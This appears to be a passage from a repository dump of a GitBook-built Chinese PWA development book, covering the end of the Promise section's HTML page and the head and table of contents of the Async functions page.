&#x7684;&#x4E32;&#x884C;&#x548C;&#x5E76;&#x884C;&#x6267;&#x884C;&#x7684;&#x5B9E;&#x73B0;&#x539F;&#x7406;&#x3002;Promise &#x662F;&#x524D;&#x7AEF;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x7684;&#x57FA;&#x7840;&#xFF0C;&#x968F;&#x7740;&#x524D;&#x7AEF;&#x751F;&#x6001;&#x7684;&#x4E0D;&#x65AD;&#x5B8C;&#x5584;&#xFF0C;&#x7F51;&#x7AD9;&#x529F;&#x80FD;&#x7684;&#x524D;&#x540E;&#x7AEF;&#x4EA4;&#x4E92;&#x5C06;&#x4F1A;&#x53D8;&#x5F97;&#x8D8A;&#x6765;&#x8D8A;&#x590D;&#x6742;&#xFF0C;Promise\n&#x4E5F;&#x5C06;&#x4F1A;&#x5728;&#x5404;&#x79CD;&#x590D;&#x6742;&#x7684;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x5F53;&#x4E2D;&#x53D1;&#x6325;&#x7740;&#x8D8A;&#x6765;&#x8D8A;&#x91CD;&#x8981;&#x7684;&#x4F5C;&#x7528;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter03.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第3章 基础技术简介\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-async-function.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 3.2 Async 函数\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"3.1 Promise\",\"level\":\"1.4.1\",\"depth\":2,\"next\":{\"title\":\"3.2 Async 函数\",\"level\":\"1.4.2\",\"depth\":2,\"path\":\"chapter03/2-async-function.md\",\"ref\":\"chapter03/2-async-function.md\",\"articles\":[]},\"previous\":{\"title\":\"第3章 基础技术简介\",\"level\":\"1.4\",\"depth\":1,\"path\":\"chapter03.md\",\"ref\":\"chapter03.md\",\"articles\":[{\"title\":\"3.1 Promise\",\"level\":\"1.4.1\",\"depth\":2,\"path\":\"chapter03/1-promise.md\",\"ref\":\"chapter03/1-promise.md\",\"articles\":[]},{\"title\":\"3.2 Async 函数\",\"level\":\"1.4.2\",\"depth\":2,\"path\":\"chapter03/2-async-function.md\",\"ref\":\"chapter03/2-async-function.md\",\"articles\":[]},{\"title\":\"3.3 Fetch API\",\"level\":\"1.4.3\",\"depth\":2,\"path\":\"chapter03/3-fetch-api.md\",\"ref\":\"chapter03/3-fetch-api.md\",\"articles\":[]},{\"title\":\"3.4 Cache API\",\"level\":\"1.4.4\",\"depth\":2,\"path\":\"chapter03/4-cache-api.md\",\"ref\":\"chapter03/4-cache-api.md\",\"articles\":[]},{\"title\":\"3.5 IndexedDB\",\"level\":\"1.4.5\",\"depth\":2,\"path\":\"chapter03/5-indexeddb.md\",\"ref\":\"chapter03/5-indexeddb.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter03/1-promise.md\",\"mtime\":\"2019-06-19T10:37:42.125Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter03/2-async-function.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>3.2 Async 函数 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-fetch-api.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-promise.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"1-promise.html\">\n            \n                <a href=\"1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.4.2\" data-path=\"2-async-function.html\">\n            \n                <a href=\"2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"3-fetch-api.html\">\n            \n                <a href=\"3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"4-cache-api.html\">\n            \n                <a href=\"4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"5-indexeddb.html\">\n            \n                <a href=\"5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" 